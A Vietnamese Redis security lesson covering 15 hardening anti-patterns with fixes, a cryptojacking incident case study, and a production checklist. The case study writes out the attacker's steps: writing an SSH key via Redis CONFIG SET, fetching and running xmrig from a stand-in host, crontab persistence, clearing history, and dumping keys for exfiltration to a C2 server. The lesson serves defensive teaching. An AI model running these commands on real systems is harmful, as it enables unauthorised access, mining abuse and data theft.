Bài 119: Anti-patterns Hardening & Incident: Cryptojacking qua Redis Public

• Nhận diện được 15 anti-pattern hardening Redis thường gặp, hiểu cơ chế rủi ro và cách fix từng cái.
• Phân tích được timeline incident cryptojacking điển hình: từ misconfig đến exploit đến detect đến remediation.
• Áp dụng được nguyên tắc defense in depth: bất kỳ lớp nào cũng phải hardened độc lập, không dựa vào "lớp khác sẽ block".
• Sử dụng được checklist Module 10 để review Redis production.

Anti-pattern 1 — bind 0.0.0.0 + no AUTH

Vấn đề: Redis lắng nghe trên tất cả interface, không có password. Bất kỳ máy nào có thể route đến IP server đều kết nối được ngay, nhận full quyền admin.

Tình huống hay gặp: dev thay đổi bind để test inter-VM, quên revert. Hoặc cài từ apt install redis-server với default config rồi để nguyên.

# SAI — expose toàn bộ
bind 0.0.0.0
# requirepass không có

# ĐÚNG
bind 127.0.0.1 10.0.1.20   # chỉ loopback + internal IP
requirepass "$(openssl rand -hex 32)"

Nếu Redis cần nhiều consumer trong cùng VPC, dùng bind trên private IP. Không bao giờ bind 0.0.0.0 trên host có public interface.

Anti-pattern 2 — Password ngắn hoặc dễ đoán

Vấn đề: Redis không rate-limit AUTH. Attacker có thể brute force hàng triệu lần/giây trực tiếp qua TCP (không như web form có CAPTCHA). Password 8 ký tự dict word bị crack trong vài giây.

# Cách tạo password an toàn (32 bytes hex = 64 ký tự)
openssl rand -hex 32
# hoặc
python3 -c "import secrets; print(secrets.token_hex(32))"

Password ngắn hơn 16 ký tự với charset giới hạn không đủ với tốc độ brute force hiện tại.

Anti-pattern 3 — Password hardcode trong source code hoặc git

Vấn đề: Credential trong git là vĩnh viễn. Dù xóa commit, attacker đã fork/clone/crawl sẽ vẫn có bản cũ. GitHub secret scanning chỉ alert sau khi đã push.

# SAI
r = redis.Redis(host="redis", password="mysecretpassword")

# ĐÚNG — đọc từ environment variable (được inject bởi secrets manager)
import os
r = redis.Redis(host=os.environ["REDIS_HOST"], password=os.environ["REDIS_PASSWORD"])

Sử dụng AWS Secrets Manager, HashiCorp Vault, hoặc GCP Secret Manager để inject credential vào runtime. Không commit .env file chứa secret thật.

Anti-pattern 4 — Không dùng TLS trên production

Vấn đề: Plain TCP expose toàn bộ data và AUTH password trên wire. Trong môi trường cloud, traffic trong VPC đi qua nhiều hop vật lý có thể bị sniff nếu có attacker đã trong mạng. MITM là thực tế với internal network.

Fix: Bật TLS built-in Redis 6+ (tls-port, cert chain). Chi tiết đã có trong bài 115.

Anti-pattern 5 — Default user enabled không có password

Vấn đề: Mặc định Redis 6+ tạo user default với nopass và full quyền. Nếu bạn dùng ACL nhưng quên disable hoặc set password cho default, bất kỳ client nào cũng kết nối được mà không cần credential.

# Kiểm tra user default
redis-cli ACL LIST
# Output nếu insecure: user default on nopass ~* &* +@all

# Fix option A — set password cho default user
redis-cli ACL SETUSER default >StrongPassword32chars~*+@all on

# Fix option B — disable hoàn toàn và dùng named user
redis-cli ACL SETUSER default off
redis-cli ACL SETUSER appuser on >StrongPass ~session:* +GET +SET +DEL +EXPIRE

Anti-pattern 6 — ACL user với +@all (full command access)

Vấn đề: App user có quyền tất cả command. Nếu app bị compromise (RCE trong app container), attacker có full Redis access: đọc toàn bộ data, FLUSHALL, CONFIG SET, DEBUG.

Nguyên tắc least privilege: App user chỉ cần command đủ dùng, scoped key pattern đúng scope.

# App user — chỉ GET/SET/DEL/EXPIRE trên key prefix của app
ACL SETUSER webapp on >AppPass123 ~app:* +GET +SET +DEL +EXPIRE +PEXPIRE +TTL +EXISTS +PING

# Worker user — chỉ queue keys, read-heavy
ACL SETUSER worker on >WorkerPass456 ~queue:* +LPUSH +RPOP +LLEN +BRPOP

# Monitor user — read-only, no key pattern restriction
ACL SETUSER monitor on >MonitorPass789 ~* +@read +INFO +CLIENT

Anti-pattern 7 — MODULE LOAD không bị disable

Vấn đề: MODULE LOAD cho phép load shared library (.so) bất kỳ vào Redis process. Attacker có quyền Redis → gọi MODULE LOAD /tmp/evil.so → RCE (Remote Code Execution) với uid của Redis process.

# redis.conf — Redis 7+
enable-module-command no

# Các module cần thiết thì load tại startup, không load dynamic
loadmodule /usr/lib/redis/modules/redisearch.so
loadmodule /usr/lib/redis/modules/rejson.so

Với enable-module-command no, lệnh MODULE LOAD và MODULE UNLOAD bị từ chối. Module đã load khi khởi động vẫn hoạt động.

Anti-pattern 8 — FLUSHALL / FLUSHDB không disable

Vấn đề: Một lệnh, toàn bộ data biến mất. Có thể do lỗi của developer (nhầm môi trường), compromised app user, hoặc attacker.

# redis.conf — rename thành chuỗi không ai nhớ (hoặc "" để disable)
rename-command FLUSHALL ""
rename-command FLUSHDB  ""

# Nếu cần FLUSHDB cho test, đổi thành tên bí mật và chỉ admin biết
rename-command FLUSHDB "FLUSHDB_DEVONLY_a3f9c2"

rename-command không tương thích với Redis Cluster (tất cả node phải rename đồng nhất). Trên Cluster, dùng ACL để remove +@dangerous thay thế.

Anti-pattern 9 — Disable protected-mode để "cho nó chạy"

Vấn đề: protected-mode yes là safety net: nếu bind 0.0.0.0 và không có AUTH, Redis từ chối kết nối từ non-loopback. Disable nó để "fix lỗi connection" là bỏ lớp bảo vệ cuối cùng.

# SAI — disable safety net
protected-mode no

# ĐÚNG — sửa nguyên nhân gốc rễ: bind đúng hoặc thêm requirepass
bind 127.0.0.1 10.0.1.20
requirepass "StrongPassword"
protected-mode yes   # giữ nguyên default

Anti-pattern 10 — Security Group source 0.0.0.0/0

Vấn đề: AWS Security Group cho phép mọi IP trên Internet kết nối port 6379. Ngay cả khi Redis có AUTH, một brute force attack liên tục hoặc zero-day bypass vẫn có thể khai thác.

# SAI — Terraform
resource "aws_security_group_rule" "redis_ingress" {
  type        = "ingress"
  from_port   = 6379
  to_port     = 6379
  protocol    = "tcp"
  cidr_blocks = ["0.0.0.0/0"]   # BÁO ĐỘNG ĐỎ
  ...
}

# ĐÚNG — source = Security Group của app server
resource "aws_security_group_rule" "redis_ingress" {
  type                     = "ingress"
  from_port                = 6379
  to_port                  = 6379
  protocol                 = "tcp"
  source_security_group_id = aws_security_group.app.id
  ...
}

Source = peer Security Group (không phải CIDR) đảm bảo chỉ EC2 instance thuộc app SG mới connect được, không phụ thuộc IP tĩnh hay VPC CIDR rộng.

Anti-pattern 11 — Bastion host SSH yếu

Vấn đề: Redis trong private subnet được truy cập qua bastion host. Nếu bastion có password SSH đơn giản, không có MFA, không có audit — attacker pivot vào bastion → vào Redis host như localhost.

Fix:

• SSH key-only trên bastion, disable password auth (PasswordAuthentication no trong sshd_config).
• Thêm MFA (AWS Systems Manager Session Manager là lựa chọn không cần mở SSH port).
• Log tất cả session vào CloudTrail / auditd.
• Hoặc dùng AWS SSM Session Manager hoàn toàn thay bastion: không cần port 22 mở ra ngoài.

Anti-pattern 12 — Không có audit log

Vấn đề: Breach xảy ra nhưng không ai biết vì không có log. Không biết ai đã kết nối, khi nào, lệnh gì. Forensics không thể làm được.

# redis.conf — log tất cả AUTH và command nghi ngờ
loglevel notice
logfile /var/log/redis/redis-server.log

# ACL LOG để track ACL violation
acllog-max-len 256

# Xem ACL LOG — detect unauthorized command attempt
redis-cli ACL LOG

# Monitor real-time (dùng cho debug ngắn hạn, không để 24/7)
redis-cli MONITOR

Để audit đầy đủ, pipe Redis log vào centralized logging (CloudWatch, ELK, Loki). Tạo alert khi có AUTH failure liên tục hoặc kết nối từ IP ngoài dải cho phép.

Anti-pattern 13 — Không update Redis version

Vấn đề: CVE được publish thường xuyên. Ví dụ: CVE-2022-0543 (Lua sandbox escape trên Debian), CVE-2023-28425 (SRANDMEMBER crash). Redis team patch nhanh nhưng nếu bạn dùng phiên bản cũ, không có patch.

Đặt lịch review Redis changelog theo tháng. Trong Kubernetes, cập nhật image tag có patch version. Redis 7.2.x là stable branch tại thời điểm viết bài (2026).

Anti-pattern 14 — Dùng chung secret giữa các môi trường

Vấn đề: Dev/staging và production dùng cùng Redis password. Developer có password của staging = có password production. Khi staging bị lộ (thường ít bảo vệ hơn), production cũng bị.

Fix: Mỗi môi trường (dev, staging, prod) có credential riêng, rotate riêng, scope riêng trong secrets manager.

Anti-pattern 15 — Không có rotation

Vấn đề: Credential tồn tại vĩnh viễn kể từ khi tạo. Một lần lộ = compromise mãi mãi. Ngay cả khi chưa lộ, long-lived credential là rủi ro.

Fix: Tự động rotate Redis password qua Vault Dynamic Secrets hoặc Lambda scheduled rotation trong AWS Secrets Manager. Redis ACL hỗ trợ nhiều password cho cùng user để rolling rotation không downtime:

# Thêm password mới trước khi xóa password cũ (zero-downtime rotation)
redis-cli ACL SETUSER appuser >NewPassword2026

# Sau khi tất cả app đã dùng NewPassword, xóa OldPassword
redis-cli ACL SETUSER appuser \<OldPassword2025

Bối cảnh

Một startup SaaS, team 5 người, không có dedicated security engineer. Redis dùng cho session store và cache. Infrastructure: AWS EC2 (Ubuntu 20.04), self-managed — không dùng ElastiCache. Cài Redis bằng apt install redis-server từ package mặc định, không review config sau khi cài.

Cụm Redis này lưu trữ user session (JWT, user metadata) và cache kết quả query database. Data không được encrypt at rest.

Misconfig ban đầu

Vài tuần trước khi incident, team đã có 2 thay đổi config liên quan:

1. Đổi bind 127.0.0.1 thành bind 0.0.0.0 để Redis server nhận kết nối từ VM khác trong VPC. Lúc đó Security Group chỉ cho phép VPC CIDR — nên tạm thời an toàn.
2. Không cấu hình requirepass vì "đằng nào cũng trong VPC".

Hai thay đổi này tự nó không ngay lập tức gây ra lỗ hổng — vì Security Group còn đang restrict.

T-30 ngày — Mở Security Group

Một dev cần debug Redis từ máy cá nhân (home network, IP động). Ops mở tạm Security Group inbound rule: port 6379, source 0.0.0.0/0. Không có ticket, không có expiry date. Ghi chú "temp - will revert" trong Slack — nhưng không ai revert.

Lúc này: bind 0.0.0.0 + no AUTH + SG open = Redis public trên Internet, không có bất kỳ lớp bảo vệ nào.

T-25 ngày — Botnet scan & exploit

Botnet tự động quét toàn bộ không gian IP AWS ap-southeast-1 trên port 6379 khoảng 24 giờ/vòng. Đây là pattern biết rộng rãi — các honeypot của Shodan, Censys, GreyNoise đều record trafic này liên tục.

Khi hit EC2 IP:

# Attacker (automated, không cần human)
redis-cli -h <victim_ip> -p 6379

> PING
PONG

> CONFIG GET requirepass
1) "requirepass"
2) ""    # không có password — proceed to exploit

Kỹ thuật exploit dùng CONFIG SET để ghi SSH authorized_keys — kỹ thuật này được document từ năm 2015, không phải zero-day:

# Attacker inject SSH public key qua Redis
> CONFIG SET dir /root/.ssh
OK
> CONFIG SET dbfilename "authorized_keys"
OK
> SET pwn "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC... attacker@bot\n\n"
OK
> SAVE
OK
> QUIT

# SSH vào host với root
ssh -i attacker_private_key root@<victim_ip>

Kỹ thuật này hoạt động vì: Redis chạy với user root (cài từ apt mặc định trên Ubuntu cũ không luôn drop privilege), SAVE ghi RDB file ra /root/.ssh/authorized_keys. Key thật bị ghi đè nhưng SSH vẫn parse được key từ attacker vì prefix/suffix là whitespace.

Sau khi SSH vào root:

# Cài cryptominer xmrig
wget -q http://evil-domain.example/xmrig -O /tmp/xmrig
chmod +x /tmp/xmrig
nohup /tmp/xmrig -o pool.minexmr.com:4444 -u <attacker_wallet> --cpu-max-threads-hint=100 > /dev/null 2>&1 &

# Persistence qua crontab
(crontab -l 2>/dev/null; echo "@reboot /tmp/xmrig -o pool.minexmr.com:4444 -u <wallet> >/dev/null 2>&1 &") | crontab -

# Xóa bash history
history -c; cat /dev/null > ~/.bash_history

# Dump Redis data (có thể dùng cho exfil sau)
redis-cli -h 127.0.0.1 --csv KEYS "*" > /tmp/keys.txt
# Script loop dump tất cả value về C2 server

T-25 ngày đến T-1 ngày — Mining liên tục

CPU 100% liên tục 24/7. AWS EC2 t3.medium không có CPU credits thừa — bill tăng. Mining Monero (XMR) vì khó trace hơn Bitcoin. Đồng thời, session data và cache data trong Redis bị dump dần về C2 server của attacker.

Team không có CloudWatch CPU alarm, không có billing anomaly alert đã set up trước. Không ai nhận thấy trong 24 ngày.

T+0 (Day 0) — Phát hiện

AWS gửi billing alert tự động khi bill vượt ngưỡng: $5,000/ngày thay vì $200/ngày thông thường. CFO forward email cho CTO. CTO SSH vào box:

top
# xmrig chiếm 99.7% CPU, PID 3421, chạy từ 24 ngày trước

ps aux | grep xmrig
# /tmp/xmrig -o pool.minexmr.com ...

crontab -l
# @reboot /tmp/xmrig ...

cat /root/.ssh/authorized_keys
# Hai key: key cũ của team + key lạ

T+0 — Investigation ngay tại chỗ

# Redis log (nếu có)
tail -n 1000 /var/log/redis/redis-server.log | grep -i "auth\|config\|save"
# Hàng nghìn dòng từ nhiều external IP: CONFIG SET, SAVE, KEYS

# Kiểm tra network connections
ss -tnp | grep 6379
# External IP đang connected

# Kiểm tra file mtime
ls -la /root/.ssh/authorized_keys
# 24 ngày trước

Root causes

Root cause chính — trifecta misconfig:

1. Security Group: port 6379 open từ 0.0.0.0/0.
2. Redis: bind 0.0.0.0 (lắng nghe tất cả interface).
3. Redis: không có requirepass.

Mỗi thứ trong số này đơn lẻ sẽ bị block nếu có defense in depth. Cả ba cùng xảy ra = không có gì chặn được.

Root causes thứ cấp:

• Không có expiry/tracking cho "temporary" config change. "Sẽ revert sau" = không bao giờ revert.
• Không có AWS Config rule hoặc CloudTrail alert khi SG thay đổi cho phép public access.
• Không có monitoring Redis connection từ external source.
• Không có CPU alarm, billing alarm trước khi incident.
• Redis chạy với user root (không drop privilege).

Damage assessment

Hạng mục	Chi phí ước tính
AWS bill tháng mining	$30,000
User churn: 15% × $200k MRR	$30,000/tháng ongoing
Engineering response: 200 giờ × $100/giờ	$20,000
Total tangible (ngắn hạn)	~$80,000–$150,000
Brand & trust	Không định lượng được
Compliance / legal exposure	Không định lượng được

Phần data exfil là phần khó định lượng nhất: session data chứa user metadata có thể bị bán hoặc dùng để credential stuffing trên service khác.

Immediate response (T+0 → T+1)

# 1. Kill miner
kill -9 3421
rm /tmp/xmrig

# 2. Xóa persistence
crontab -r

# 3. Xóa unauthorized SSH key (giữ lại key của team)
# Edit manually /root/.ssh/authorized_keys

# 4. Patch Redis ngay
redis-cli CONFIG SET requirepass "NewStrongPassword64chars"
redis-cli CONFIG REWRITE

# 5. Sửa redis.conf
# bind 127.0.0.1
# requirepass "..."

# 6. Revert Security Group về source = VPC CIDR (nhanh)
# Sau đó đổi về source = app SG (đúng chuẩn)

# 7. Rotate tất cả AWS keys (attacker có thể đã đọc instance metadata)
# Deactivate existing IAM keys, tạo mới

Vấn đề: damage đã xảy ra trước khi response. Session data đã bị dump. Force logout tất cả user (xóa toàn bộ session key trong Redis) là bước bắt buộc nhưng gây friction lớn.

Fix permanent (sau incident)

1. Defense in depth thực sự:

• Security Group: inbound 6379 chỉ từ app server SG.
• Redis: bind 127.0.0.1 10.0.1.x (internal IP).
• Redis: requirepass hoặc ACL per-user với strong password.
• Redis: TLS in transit.
• Chuyển Redis vào private subnet (không route table ra Internet).

2. Monitoring:

# AWS CloudWatch alarm — CPU > 80% kéo dài 5 phút
aws cloudwatch put-metric-alarm \
  --alarm-name "HighCPU-Redis" \
  --metric-name CPUUtilization \
  --namespace AWS/EC2 \
  --statistic Average \
  --period 300 \
  --threshold 80 \
  --comparison-operator GreaterThanThreshold \
  --evaluation-periods 2 \
  --alarm-actions <SNS_ARN>

# AWS Billing alarm
aws cloudwatch put-metric-alarm \
  --alarm-name "BillingAnomaly" \
  --metric-name EstimatedCharges \
  --namespace AWS/Billing \
  --statistic Maximum \
  --period 86400 \
  --threshold 500 \
  --comparison-operator GreaterThanThreshold \
  --alarm-actions <SNS_ARN>

# Script monitor Redis — detect external client
import redis
import ipaddress

r = redis.Redis(host="127.0.0.1", password="StrongPass", decode_responses=True)

clients = r.client_list()
internal_nets = [
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("127.0.0.0/8"),
]

for c in clients:
    addr = c.get("addr", "").split(":")[0]
    try:
        ip = ipaddress.ip_address(addr)
        if not any(ip in net for net in internal_nets):
            # ALERT: external IP connected to Redis
            print(f"ALERT: External Redis connection from {addr}")
            # Send to alerting system
    except ValueError:
        pass

3. CloudTrail alert khi SG thay đổi:

{
  "source": ["aws.ec2"],
  "detail-type": ["AWS API Call via CloudTrail"],
  "detail": {
    "eventSource": ["ec2.amazonaws.com"],
    "eventName": ["AuthorizeSecurityGroupIngress", "ModifySecurityGroupRules"]
  }
}

EventBridge rule trên pattern này → Lambda kiểm tra rule mới có source 0.0.0.0/0 không → alert Slack/PagerDuty ngay khi thay đổi.

4. Policy cho "temporary" change:

• Mọi thay đổi SG phải có ticket với expiry date.
• AWS Config managed rule restricted-ssh và vpc-sg-open-only-to-authorized-ports chạy liên tục.
• Quarterly security audit checklist bắt buộc review SG rules.

Lessons learned

1. "Temporary" không có expiry = permanent. Mọi temporary config change cần ticket tracking với deadline auto-revert. Không tin vào memory của con người.

2. Defense in depth là thực chất, không phải hình thức. Nếu team có đủ 3 lớp (SG restrict, bind specific, requirepass), bất kỳ 1 lớp bị misconfigure vẫn còn 2 lớp khác chặn. Incident này xảy ra vì cả 3 lớp cùng fail.

3. Cryptojacking là automated mass scan, không phải targeted attack. Không có "tôi nhỏ quá, không ai tấn công tôi". Bot quét toàn bộ AWS IP space — thời gian từ khi expose đến khi bị hit có thể chỉ vài giờ. Shodan index Redis open port thường xuyên.

4. Monitoring phát hiện sớm tiết kiệm tiền thực. Nếu có CPU alarm set từ đầu, incident bị detect trong 1 ngày thay vì 25 ngày — giảm bill từ $30k xuống còn ~$1k.

5. "Internal service" không miễn hardening. Redis trong VPC vẫn cần AUTH, TLS, bind restrict. Assume compromise: nếu attacker đã vào được VPC (qua app server RCE, compromised credential), Redis không có AUTH = full access ngay.

Module 10 đi qua toàn bộ các lớp hardening Redis:

Lớp	Bài	Công cụ / config chính
Why hardening	111	Threat model, attack surface, defense in depth
Network isolation	112	bind, protected-mode, SG, VPC, NetworkPolicy
AUTH cơ bản	113	requirepass, AUTH command, password strength
ACL granular	114	ACL SETUSER, command category, key pattern, ACL LOG
TLS in transit	115	tls-port, mTLS, replication TLS, cert rotation
Dangerous commands	116	rename-command, enable-module-command no, ACL
K8s & cloud hardening	117	NetworkPolicy, Pod Security, SG for Pods, ElastiCache
Secrets management	118	Vault, AWS Secrets Manager, rotation, env injection
Anti-patterns & incident	119	15 anti-pattern, cryptojacking case study

Nguyên tắc xuyên suốt: hardening không phải danh sách tick-box một lần mà là process liên tục — config drift, dependency update, quarterly audit, automated policy enforcement.

Network

• [ ] bind chỉ trên internal IP (không bind 0.0.0.0 khi có public interface).
• [ ] protected-mode yes — không disable.
• [ ] Security Group source = peer app SG (không phải 0.0.0.0/0 hoặc CIDR rộng).
• [ ] Redis trong private subnet, không có route ra Internet.
• [ ] Kubernetes: NetworkPolicy default-deny, chỉ allow pod có label đúng.

Authentication & Authorization

• [ ] requirepass với password ≥ 32 ký tự ngẫu nhiên, hoặc ACL per-user.
• [ ] Default user disabled hoặc có password mạnh + restrict command.
• [ ] Mỗi service/role có ACL user riêng với least privilege: key pattern scoped, command list tối thiểu.
• [ ] TLS in transit: client → Redis, replication, cluster bus.
• [ ] mTLS nếu security requirement cao.

Commands & Modules

• [ ] Disable FLUSHALL, FLUSHDB (hoặc rename thành chuỗi bí mật).
• [ ] Disable hoặc rename DEBUG, CONFIG (trên production không cần CONFIG SET).
• [ ] enable-module-command no (Redis 7+).
• [ ] Các module cần thiết load tại startup (loadmodule), không load dynamic.

Secrets & Rotation

• [ ] Credential lưu trong Vault / AWS Secrets Manager — không hardcode trong code hoặc git.
• [ ] Per-environment unique secret (dev, staging, prod tách biệt).
• [ ] Cert rotation tự động (không manual).
• [ ] Password rotation scheduled (Vault Dynamic Secrets hoặc AWS rotation Lambda).

Monitoring & Audit

• [ ] Redis log ghi vào file, pipe vào centralized logging.
• [ ] ACL LOG enabled (acllog-max-len 256).
• [ ] Alert khi có AUTH failure liên tục hoặc external IP kết nối.
• [ ] CloudTrail alert khi SG thay đổi (AuthorizeSecurityGroupIngress).
• [ ] CPU alarm + billing anomaly alarm đã set.

Operations

• [ ] Redis update đến latest patch version.
• [ ] OS patches định kỳ.
• [ ] Redis process không chạy với user root (dùng redis user riêng).
• [ ] Admin access qua bastion/SSM — không open SSH trực tiếp từ Internet.
• [ ] "Temporary" config change có ticket với expiry date và người chịu trách nhiệm revert.
• [ ] Quarterly security audit Redis config.
• [ ] Threat model documented và review theo năm.

Module 11 tiếp theo

Module 11 — Capstone Projects: 3 project thực tế kết hợp nhiều module, từ URL Shortener, Real-time Leaderboard đến Event-Driven Pipeline với Redis Streams.

Tham khảo

• Redis Docs — Security Overview
• Redis Docs — ACL
• Shodan — Redis open port scan data
• Guardicore Labs — Redis-based cryptomining campaigns
• Palo Alto Unit 42 — Malicious Redis configuration attacks
• AWS Config — restricted-ssh managed rule
• AWS Secrets Manager — Rotating secrets
• NVD — CVE-2022-0543 (Redis Lua sandbox escape)